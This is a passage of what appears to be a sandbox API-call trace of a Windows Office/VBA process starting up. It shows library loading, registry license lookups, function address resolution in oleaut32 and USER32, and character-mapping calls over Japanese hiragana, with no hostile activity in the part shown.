Shared\\VBA\\VBA7.1\\1033\\") returned 0x0 [0074.428] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0074.428] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 75 [0074.428] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x1f3990, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1 [0074.428] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0074.429] strcpy_s (in: _Dst=0x1f3c10, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0074.429] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x7fee6430000 [0074.438] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000bf6) returned 1 [0074.438] GetSystemDefaultLCID () returned 0x409 [0074.438] GetUserDefaultLCID () returned 0x409 [0074.438] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x1f42a0, cchData=2 | out: lpLCData=".") returned 2 [0074.438] GetStockObject (i=13) returned 0x18a002e [0074.438] GetObjectA (in: h=0x18a002e, c=60, pv=0x1f4240 | out: pv=0x1f4240) returned 60 [0074.438] lstrcpyA (in: lpString1=0x7fee5fc0150, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0074.438] lstrcpyA (in: lpString1=0x7fee5fc1470, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0074.441] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0074.441] lstrcpyA (in: lpString1=0xa37c4e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0074.441] strnlen (_Str="C:\\Users\\aETAdzjz\\Desktop", _MaxCount=0x7fffffff) returned 0x19 [0074.441] lstrcpynA (in: lpString1=0xa37c580, lpString2="C:\\Users\\aETAdzjz\\Desktop", iMaxLength=26 | out: lpString1="C:\\Users\\aETAdzjz\\Desktop") returned="C:\\Users\\aETAdzjz\\Desktop" [0074.441] GetVersionExA (in: lpVersionInformation=0x1f41d0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0x1f41d0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0074.441] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x1f40f8 | out: phkResult=0x1f40f8*=0x4ce) returned 0x0 [0074.442] strcpy_s (in: _Dst=0x1f4100, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0074.442] strcpy_s (in: _Dst=0x1f4180, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0074.442] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0074.442] RegQueryValueA (in: hKey=0x4ce, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x1f4180, lpcbData=0x1f40f0 | out: lpData="\x0f}\x02\x01", lpcbData=0x1f40f0) returned 0x2 [0074.443] RegCloseKey (hKey=0x4ce) returned 0x0 [0074.443] OleInitialize (pvReserved=0x0) [0074.444] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7feff4f0000 [0074.444] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000bf7) returned 1 [0074.444] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0074.445] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0074.445] GetClassInfoA (in: hInstance=0x7fee5bf0000, lpClassName="VBBubble", lpWndClass=0x1f4230 | out: lpWndClass=0x1f4230) returned 0 [0074.445] RegisterClassA (lpWndClass=0x1f4230) returned 0x246016cc1bf [0074.445] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000bf8) returned 1 [0074.445] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630 [0074.445] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a [0074.445] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7 [0074.445] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7 [0074.445] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf [0074.445] GlobalAddAtomA (lpString="VBDisabled") returned 0x247016cc131 [0074.446] RegisterClassExA (param_1=0x1f4350) returned 0x24a01b2c1c0 [0074.446] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000bf9) returned 1 [0074.446] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7fee5bf0000, lpParam=0x0) returned 0x302dc [0074.447] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x81, wParam=0x0, lParam=0x1f3cb0) returned 0x1 [0074.447] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x83, wParam=0x0, lParam=0x1f3d10) returned 0x0 [0074.447] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1, wParam=0x0, lParam=0x1f3cb0) returned 0x0 [0074.447] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0074.447] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0074.447] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000bfa) returned 1 [0074.447] GetVersionExA (in: lpVersionInformation=0x1f4140*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1f4140*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0074.448] GetModuleHandleA (lpModuleName="USER32") returned 0x774d0000 [0074.449] GetProcAddress (hModule=0x774d0000, lpProcName="GetSystemMetrics") returned 0x774e94f0 [0074.449] GetProcAddress (hModule=0x774d0000, lpProcName="MonitorFromWindow") returned 0x774e5f08 [0074.450] GetProcAddress (hModule=0x774d0000, lpProcName="MonitorFromRect") returned 0x774e2b00 [0074.450] GetProcAddress (hModule=0x774d0000, lpProcName="MonitorFromPoint") returned 0x774dab64 [0074.450] GetProcAddress (hModule=0x774d0000, lpProcName="EnumDisplayMonitors") returned 0x774e5c30 [0074.451] GetProcAddress (hModule=0x774d0000, lpProcName="GetMonitorInfoA") returned 0x774da730 [0074.451] GetProcAddress (hModule=0x774d0000, lpProcName="EnumDisplayDevicesA") returned 0x774da5b4 [0074.451] MonitorFromWindow (hwnd=0x302dc, dwFlags=0x2) returned 0x10001 [0074.452] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x1f4350 | out: lpmi=0x1f4350) returned 1 [0074.452] SetWindowPos (hWnd=0x302dc, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0074.452] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x46, wParam=0x0, lParam=0x1f42b0) returned 0x0 [0074.452] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x47, wParam=0x0, lParam=0x1f42b0) returned 0x0 [0074.452] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0 [0074.452] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0074.452] GetVersion () returned 0x1db10106 [0074.453] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7feff4f0000 [0074.453] GetProcAddress (hModule=0x7feff4f0000, lpProcName="DispCallFunc") returned 0x7feff4f2270 [0074.454] GetProcAddress (hModule=0x7feff4f0000, lpProcName="LoadTypeLibEx") returned 0x7feff4fa550 [0074.454] GetProcAddress (hModule=0x7feff4f0000, lpProcName="UnRegisterTypeLib") returned 0x7feff5820d0 [0074.454] GetProcAddress (hModule=0x7feff4f0000, lpProcName="CreateTypeLib2") returned 0x7feff57dbd0 [0074.455] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDateFromUdate") returned 0x7feff4f5c90 [0074.456] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarUdateFromDate") returned 0x7feff4f6330 [0074.456] GetProcAddress (hModule=0x7feff4f0000, lpProcName="GetAltMonthNames") returned 0x7feff5166c0 [0074.457] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarNumFromParseNum") returned 0x7feff4f4710 [0074.457] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarParseNumFromStr") returned 0x7feff4f48f0 [0074.458] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDecFromR4") returned 0x7feff52b640 [0074.458] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDecFromR8") returned 0x7feff52b360 [0074.459] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDecFromDate") returned 0x7feff532640 [0074.459] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDecFromI4") returned 0x7feff5158a0 [0074.460] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDecFromCy") returned 0x7feff515820 [0074.460] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarR4FromDec") returned 0x7feff52af20 [0074.460] GetProcAddress (hModule=0x7feff4f0000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7feff54a0c0 [0074.461] GetProcAddress (hModule=0x7feff4f0000, lpProcName="GetRecordInfoFromGuids") returned 0x7feff582160 [0074.461] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SafeArrayGetRecordInfo") returned 0x7feff515af0 [0074.462] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SafeArraySetRecordInfo") returned 0x7feff515a90 [0074.462] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SafeArrayGetIID") returned 0x7feff515a60 [0074.463] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SafeArraySetIID") returned 0x7feff515a30 [0074.463] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SafeArrayCopyData") returned 0x7feff4f60b0 [0074.463] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7feff4f3e90 [0074.464] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SafeArrayCreateEx") returned 0x7feff549f80 [0074.464] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarFormat") returned 0x7feff579b20 [0074.464] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarFormatDateTime") returned 0x7feff579aa0 [0074.464] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarFormatNumber") returned 0x7feff579990 [0074.465] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarFormatPercent") returned 0x7feff579890 [0074.465] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarFormatCurrency") returned 0x7feff579770 [0074.465] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarWeekdayName") returned 0x7feff55b8d0 [0074.466] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarMonthName") returned 0x7feff55b800 [0074.466] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarAdd") returned 0x7feff5748e0 [0074.466] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarAnd") returned 0x7feff579470 [0074.467] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarCat") returned 0x7feff5796a0 [0074.467] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDiv") returned 0x7feff572fe0 [0074.467] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarEqv") returned 0x7feff579cf0 [0074.467] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarIdiv") returned 0x7feff578ff0 [0074.468] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarImp") returned 0x7feff579c00 [0074.468] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarMod") returned 0x7feff578e60 [0074.468] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarMul") returned 0x7feff573690 [0074.469] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarOr") returned 0x7feff5792d0 [0074.469] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarPow") returned 0x7feff572e80 [0074.469] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarSub") returned 0x7feff573f90 [0074.470] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarXor") returned 0x7feff5791a0 [0074.470] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarAbs") returned 0x7feff557c30 [0074.470] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarFix") returned 0x7feff557a60 [0074.471] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarInt") returned 0x7feff557890 [0074.471] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarNeg") returned 0x7feff557ea0 [0074.471] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarNot") returned 0x7feff579600 [0074.471] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarRound") returned 0x7feff5576a0 [0074.472] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarCmp") returned 0x7feff5783f0 [0074.472] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDecAdd") returned 0x7feff523070 [0074.472] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarDecCmp") returned 0x7feff52d700 [0074.473] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarBstrCat") returned 0x7feff52d890 [0074.473] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarCyMulI4") returned 0x7feff50caf0 [0074.473] GetProcAddress (hModule=0x7feff4f0000, lpProcName="VarBstrCmp") returned 0x7feff518a00 [0074.474] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7fefe290000 [0074.474] GetProcAddress (hModule=0x7fefe290000, lpProcName="CoCreateInstanceEx") returned 0x7fefe29de90 [0074.474] GetProcAddress (hModule=0x7fefe290000, lpProcName="CLSIDFromProgIDEx") returned 0x7fefe2aa4c4 [0074.474] GetSystemMetrics (nIndex=42) returned 0 [0074.474] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fee5fb55d0 | out: ppMalloc=0x7fee5fb55d0*=0x7fefe465380) returned 0x0 [0074.474] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb7e5110 [0074.474] GetUserDefaultLCID () returned 0x409 [0074.474] GetUserDefaultLCID () returned 0x409 [0074.475] IsValidCodePage (CodePage=0x3a4) returned 1 [0074.485] IsValidCodePage (CodePage=0x3b5) returned 1 [0074.485] IsValidCodePage (CodePage=0x3b6) returned 1 [0074.486] IsValidCodePage (CodePage=0x3a8) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="぀", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぁ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="あ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぃ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="い", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="う", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぇ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="え", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぉ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="お", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="か", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.487] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="が", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="き", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぎ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="く", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぐ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="け", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="げ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="こ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ご", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="さ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ざ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="し", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="じ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="す", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ず", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="せ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="そ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぞ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="た", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="だ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ち", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぢ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="っ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="つ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="づ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="て", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="で", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="と", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.497] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ど", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="な", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="に", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぬ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ね", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="の", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="は", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ば", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぱ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ひ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="び", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ふ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぶ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぷ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="へ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="べ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぺ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ほ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぼ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぽ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ま", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="み", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="む", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="め", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="も", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゃ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="や", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゆ", cchSrc=1, lpDestStr=0x0, 